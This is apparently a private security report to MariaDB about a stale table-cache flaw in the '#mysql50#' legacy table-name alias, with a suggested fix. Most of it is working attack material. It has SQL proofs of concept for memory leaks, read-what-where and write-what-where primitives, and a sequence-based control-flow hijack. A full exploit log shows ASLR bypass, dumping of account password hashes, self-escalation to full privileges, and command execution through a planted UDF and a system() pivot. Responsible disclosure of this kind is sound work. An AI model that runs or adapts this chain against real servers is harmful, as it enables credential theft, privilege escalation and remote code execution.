MariaDB · Report #3849040
#mysql50# legacy alias / stale table cache identity mismatch
How it was found
Note: a working (but heavily vibecoded mess of a) info leak, privilege escalation, and or remote code execution chain for this issue is available. I recommend not posting anything publicly accessible about this in JIRA until resolved.
MariaDB still supports the #mysql50# table-name prefix as a legacy compatibility mechanism to ensure that tables whose on-disk names were created with older MySQL filename-mapping rules can still be accessed.
The problem is that while t and #mysql50#t refer to the same underlying table files as far as the storage layer is concerned, the SQL / metadata / cache layers will still treat them as two distinct table identities. A low-privileged schema owner can abuse this behavior and cause the table definition cache to become stale by opening a table through one spelling, t, and then replacing or reshaping the table through the other, #mysql50#t.
Any future queries may then use the stale TABLE / Field metadata against the new attacker controlled file data to various effect.
Proof of Concept
SELECT VERSION();
-- 13.1.0-MariaDB
DROP TABLE IF EXISTS t, `#mysql50#t`;
CREATE TABLE t(id INT, c1 BINARY(32)) ENGINE=MEMORY;
INSERT INTO t VALUES(1, REPEAT(0x41,32));
-- open / cache the wide table definition
SELECT 'table-read' AS type, id, LENGTH(c1), HEX(c1) FROM t;
-- +------------+------+------------+------------------------------------------------------------------+
-- | type | id | LENGTH(c1) | HEX(c1) |
-- +------------+------+------------+------------------------------------------------------------------+
-- | table-read | 1 | 32 | 4141414141414141414141414141414141414141414141414141414141414141 |
-- +------------+------+------------+------------------------------------------------------------------+
-- recreate the same physical table through the alias with a narrower layout
DROP TABLE `#mysql50#t`;
CREATE TABLE `#mysql50#t`(id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES(2, 0x42);
-- reading through the new narrow alias
SELECT 'alias-read' AS type, id, LENGTH(c1), HEX(c1) FROM `#mysql50#t` WHERE id=2;
-- +------------+------+------------+---------+
-- | alias-read | 2 | 1 | 42 |
-- +------------+------+------------+---------+
-- reading through the stale wide table leaks adjacent memory
SELECT 'table-read' AS type, id, LENGTH(c1), HEX(c1) FROM t ORDER BY id;
-- +------------+------+------------+------------------------------------------------------------------+
-- | table-read | 1 | 32 | 4141414141414141414141414141414141414141414141414141414141414141 |
-- | table-read | 2 | 32 | 42414141414141414141416086402F080000005087402F080000000000000000 |
-- +------------+------+------------+------------------------------------------------------------------+
Suggested Fix
Codex suggests the following (in order of preference)
- remove
#mysql50#support completely - allow, but only for opening existing legacy files and explicit
ALTER DATABASE ... UPGRADE DATA DIRECTORY NAME - otherwise ... db / table names should be normalized when used in cache keys.
This should most likely be based off the filename encoding such that the following should work?
`foo` -> `foo`
`#mysql50#foo` -> `foo`
`a/b` -> `a@002fb`
`#mysql50#a@002fb` -> `a@002fb`
Note: there is a companion report re:
#mysql50#/tablename_to_filename()issues that might also need to be taken into consideration here.
Additionally, it's important to note that normalizing the cache key may cause problems with things like TABLE_SHARE::set_table_cache_key() which derives share->db and share->table_name directly from the key.
Codex suggests adding a new helper function to normalize names, conceptually something like:
uint make_table_def_cache_key(char *key,
const char *db,
const char *table_name);
and then update the following:
tdc_create_key()
sql/table_cache.h:107
Currently packs raw db / table_name. This must call the new canonical builder.
TABLE_LIST::init_one_table() / TABLE MDL request init
sql/table.h:2539
Currently uses MDL_REQUEST_INIT(&mdl_request, MDL_key::TABLE, db.str, table_name.str, ...)
This needs a TABLE-specific MDL initializer that uses the canonical table identity otherwise MDL still has split locks even if TDC is fixed.
get_table_def_key()
server/sql/sql_base.cc:203
This can remain as-is only if TABLE MDL keys are already canonical. Otherwise it must stop returning the raw MDL suffix.
Direct MDL_REQUEST_INIT(... MDL_key::TABLE ...) call sites in places like:
sql/sql_admin.cc
sql/sql_handler.cc
sql/sql_parse.cc
sql/sql_table.cc
sql/sql_show.cc
sql/sql_db.cc
sql/sp_head.cc
sql/ddl_log.cc
sql/sql_cte.cc
Those should use a wrapper like MDL_REQUEST_INIT_TABLE_CANONICAL(...) or similar, so future code does not accidentally reintroduce raw table MDL keys.
Query-cache filename invalidation
Query_cache::filename_2_table_key() should produce the same canonical key as make_table_def_cache_key(), not a sibling format.
Also Add DDL Collision Checks?
TL;DR - central helper first, TABLE MDL wrapper second, replace tdc_create_key() and direct TABLE-MDL call sites third.
</ai_suggestion>
Exploitability
Different storage engines, original / replacement table definitions, and or how the tables are used afterwards allow for a multitude of different behaviors to be turned into exploit primitives and chained together to achieve information disclosure, privilege escalation, and or arbitrary code execution. e.g.
Out-of-bounds read / ASLR bypass helper
A more weaponized version of the poc above uses a whole bunch of wide columns that are then narrowed - leaking more than enough data to effectively bypass ASLR.
CREATE TABLE t (id INT, c0 BINARY(255), ..., cN BINARY(255)) ENGINE=MEMORY;
INSERT INTO t VALUES (REPEAT(0x41,255), ..., REPEAT(0x41, 255));
...
INSERT INTO `#mysql50#t` VALUES(2, 0x42, ..., 0x42);
SELECT HEX(CONCAT(c0, ..., cN)) AS leaked_bytes FROM t;
read-what-where / credential disclosure
This variant uses stale MyISAM BLOB metadata.
The old cached table says the field is an out-of-row TINYBLOB; the replacement table stores the same bytes inline as VARBINARY. When reading through the stale BLOB field, attacker-chosen inline bytes are interpreted as BLOB pointer metadata.
CREATE TABLE victim(
id INT,
v TINYBLOB
) ENGINE=MyISAM;
INSERT INTO victim VALUES(1, REPEAT(0x41, 16));
-- open / cache the BLOB-shaped table.
SELECT id FROM victim;
CREATE TABLE repl(
id INT,
v VARBINARY(16)
) ENGINE=MyISAM;
-- recreate the same physical table through the alias
DROP TABLE `#mysql50#victim`;
RENAME TABLE repl TO `#mysql50#victim`;
-- <addr_le> is the target address (little-endian)
-- remaining bytes are padding / length-compatible carrier bytes.
INSERT INTO `#mysql50#victim` VALUES (99, UNHEX('<addr_le><padding>'));
-- we need to flush and repair the table here so we can read the leaked data.
-- assuming we dont have privs to `FLUSH TABLES`, you can create a lot of tables
-- (>= `@@table_open_cache`) and run a `SELECT` across each to push any existing
-- entries out of the open cache (which is mocked by the `vf_flush()` procedure)
CALL vf_flush();
-- we might have also been able to use something like the following as well:
-- SET @sql = CONCAT('ALTER TABLE `#mysql50#victim` COMMENT=''', NOW(6), ''', ALGORITHM=INPLACE, LOCK=NONE');
-- EXECUTE IMMEDIATE @sql;
REPAIR TABLE `#mysql50#victim`;
-- the stale field treats the inline VARBINARY bytes as a BLOB descriptor and
-- reads from the specified address
SELECT id, HEX(v) AS bytes_at_addr FROM `#mysql50#victim` WHERE id = 99;
write-what-where / privilege escalation
This variant uses stale MEMORY field metadata to overwrite a live Field_string object used by an UPDATE.
The old row is shaped so that, when copied with the stale wide layout, bytes land over the Field_string object for the narrow alias table.
CREATE TABLE mem(
c0 BINARY(255),
c1 BINARY(255),
c2 BINARY(255),
c3 BINARY(255),
c4 BINARY(255)
) ENGINE=MEMORY;
-- these fields contain a staged fake Field_string object at the offset reached
-- by the stale row copy. the important forged members are:
-- vptr = _ZTV12Field_string + 16
-- ptr = destination address
-- field_length = write length
-- table/charset = valid in-process pointers
INSERT INTO mem VALUES (
UNHEX('<fake_Field_string_part_0>'),
UNHEX('<fake_Field_string_part_1>'),
UNHEX('<fake_Field_string_part_2>'),
UNHEX('<fake_Field_string_part_3>'),
UNHEX('<fake_Field_string_part_4>')
);
-- open / cache the original MEMORY shape.
SELECT COUNT(*) FROM mem;
-- recreate the table
DROP TABLE `#mysql50#mem`;
CREATE TABLE `#mysql50#mem`(
c0 BINARY(1),
...
c63 BINARY(1)
) ENGINE=MEMORY;
-- the stale copy corrupts the `Field_string` used by this `UPDATE`. `fill_record()`
-- then calls `Field_string::store()` and writes the payload to the forged ptr.
UPDATE `#mysql50#mem` SET c0 = 0x5a;
stale sequence dispatch / control-flow (RCE)
This variant crosses the ordinary Aria table to SEQUENCE boundary.
The first NEXT VALUE FOR mutates sequence state through stale row/field metadata. A second NEXT VALUE FOR in the same statement re-enters sequence handling after that stale write has corrupted live sequence/handler state.
CREATE TABLE s(
id INT PRIMARY KEY,
v VARBINARY(8192)
) ENGINE=Aria;
-- store forged object/vtable-like data
INSERT INTO s VALUES(1, UNHEX('<object/vtable-like data>'));
-- open / cache the ordinary table.
SELECT COUNT(*) AS opened_old_shape FROM s;
-- recreate table as a SEQUENCE
DROP TABLE `#mysql50#s`;
CREATE SEQUENCE `#mysql50#s`
START WITH 7
INCREMENT BY 1
CACHE 1
ENGINE=Aria;
-- same-statement double evaluation: the first call corrupts live state, the
-- second call dispatches through that corrupted/stale state.
SELECT
NEXT VALUE FOR `#mysql50#s` AS n1,
NEXT VALUE FOR `#mysql50#s` AS n2;
or everything smashed into one poc
==============================================================================
MariaDB: #mysql50# legacy alias / stale table-cache identity mismatch
vortfu <[email protected]>
target=11.8.8-MariaDB-deb13/aarch64 build=450e330a
==============================================================================
[*] baseline (low-privilege connection)
[+] connected user=vortfu sock=127.0.0.1:3306 db=testdb
[>] mysql> SHOW GRANTS
GRANT USAGE ON *.* TO `vortfu`@`localhost` IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19'
GRANT ALL PRIVILEGES ON `testdb`.* TO `vortfu`@`localhost`
[-] verify: low-privilege baseline
[>] mysql> SELECT COUNT(*) AS denied_mysql FROM mysql.global_priv
[-] mysql.global_priv denied: SQLSTATE[42000]: Syntax error or access violation: 1142 SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`
[*] preflight cleanup
[-] current db=testdb
[-] dropping sequence, staging, transient, and eviction tables in db=testdb
[+] cleanup complete pool_tables=0
[*] setting up eviction pool
[+] eviction tables=2200 db=testdb prefix=seq_fv_evict_
[-] sizing source=auto: max(2200, @@table_open_cache + 200) table_open_cache=2000
[+] eviction pool ready
[*] bypassing ASLR
[-] recovering image base via MEMORY inverse leak
[+] image_base=0xaaaae75d0000
[-] verify: image base readback
[-] readback @base head=7f454c46020101030000000000000000
[-] verdict ELF64_OK
[*] leaking credentials from memory
[+] acl_users=0xaaaae8f62120 buffer=0xaaaaebac18c8 elements=12
[-] decoded ACL account cache entries
user=bx access=0x0 password=*B0F98AC2BC83A72D35365B50FFFDB90CD41275F5
user=fdw access=0x0 password=*7B9EBEED26AA52ED10C0F549FA863F13C39E0209
user=mariadb.sys access=0x0 password=
user=mrprobe access=0x0 password=
user=mysql access=0xffffffffff password=invalid
user=power access=0x0 password=*7B9EBEED26AA52ED10C0F549FA863F13C39E0209
user=procwriter access=0x0 password=*7B9EBEED26AA52ED10C0F549FA863F13C39E0209
user=root access=0xffffffffff password=invalid
user=vortfu access=0x0 password=*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
user=vortfu_mr access=0x0 password=
user=vortfu_tmp access=0x0 password=
user=vortfutest access=0x0 password=*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] active connections
[+] server_threads=0xaaaae8f5f238 first=0xf7ff80004478
thread_id=28 user=vortfu access=0x0 THD=0xf7ff80004478 &master_access=0xf7ff80006ba0
thread_id=2 user= access=0x0 THD=0xf7ff78000c78 &master_access=0xf7ff780033a0
thread_id=1 user= access=0x0 THD=0xf7ff74000c78 &master_access=0xf7ff740033a0
[*] privilege escalation: master_access self-write
[+] targeting master_access=0xf7ff80006ba0 (user=vortfu thread=28)
[+] payload=0x0000ffffffffff bits=40 effect=FULL_PRIV_BITMAP
[-] writing payload to target address
[-] verify: master_access readback
[-] readback 0xf7ff80006ba0=0xffffffffff
[-] verdict FULL_PRIVS
[>] mysql> SELECT COUNT(*) AS visible_global_priv_rows FROM mysql.global_priv
12
[+] global privilege table read now succeeds on the same connection
[+] current thread 28 access upgraded to 0xffffffffff
[*] RCE path A: planted UDF plugin
[>] mysql> SELECT @@plugin_dir AS plugin_dir
/usr/lib/mysql/plugin/
[+] wrote UDF shared object to /tmp/udf_exec_3097.so
[-] overwriting opt_plugin_dir=0xaaaae8f640b8 -> /tmp
[>] mysql> SELECT @@plugin_dir AS plugin_dir
/tmp
[>] mysql> CREATE OR REPLACE FUNCTION `udf_exec` RETURNS STRING SONAME 'udf_exec_3097.so'
[>] mysql> SELECT `udf_exec`('uname -a; id') AS udf_output
Linux debian 6.12.90+deb13.1-arm64 #1 SMP Debian 6.12.90-2 (2026-05-27) aarch64 GNU/Linux
uid=101(mysql) gid=104(mysql) groups=104(mysql)
[*] RCE path B: staged fake Field/vtable and sequence dispatch
[+] fake vtable call target=system_pivot(image+0x73b6e0 -> libc system) addr=0xaaaae7d0b6e0
[-] system_pivot uses QUICK_INDEX_INTERSECT_SELECT::get_next to call system(fake_field+0xb0)
[+] returnable Field_long mode: copied Field_long vtable=0xaaaae8d616b0 patched_val_int_slot+0xc8=0xaaaae7d0b6e0
[-] system_pivot cmd='uname -a; id' cmd_addr=0xf7ff82fa01b0 system=0xffffadd19380
[-] stage table=`testdb`.`seq_field_stage` TABLE=0xf7ff807c9818 record0=0xf7ff82f953d0
[-] fake_field[0]=0xf7ff82fa0100 patched_vtable=0xf7ff82fa0d00 value_cells=0xf7ff82fa1100
[+] verify field0.vptr=0xf7ff82fa0d00 patched_vtable[0xc8]=0xaaaae7d0b6e0 system_target=0xffffadd19380 values=0000000000000000ffffff7f0000000001000000010000000000000000000000
[-] field_array_skip_qwords=9: padding fake Field* array before expected table->field landing zone
[+] returnable Field_long array: field[0] runs system_pivot, fields[1..7] return staged sequence values
[+] misaligned load target fake Field*=0xf7ff82fa0100 encoded_qword=0x01000000f7ff82fa
[*] preparing controlled sequence backing row
[-] expected controlled table->field[0] / x0 = 0x0000f7ff82fa0100
[-] SQL qword encoding for misaligned load = 0x01000000f7ff82fa
[-] payload qword filler = 0x01000000f7ff82fa
[*] swapping the alias onto real SEQUENCE metadata
[*] triggering sequence RCE path
[>] mysql> SELECT NEXT VALUE FOR `testdb`.`#mysql50#seq_field_vptr` AS n_alias
0
[*] SUCCESS - check mariadbd stdout/journald for any command output
[*] cleanup: best-effort artifact and table cleanup
[-] removing dumped UDF shared object /tmp/udf_exec_3097.so
[>] mysql> SELECT `udf_exec`('rm -f \'/tmp/udf_exec_3097.so\'') AS udf_file_cleanup
[exit_status=0]
[-] dropping UDF function udf_exec
[+] UDF function udf_exec is no longer registered
[-] restoring opt_plugin_dir=0xaaaae8f640b8 -> /usr/lib/mysql/plugin/
[-] verify: plugin_dir restored
[>] mysql> SELECT @@plugin_dir AS plugin_dir
/usr/lib/mysql/plugin/
[-] dropping sequence, staging, transient, and eviction tables in db=testdb
[+] cleanup complete pool_tables=2200
(also tested against mariadb-13.1.0-osx-arm64-release)
Impact
pwned :(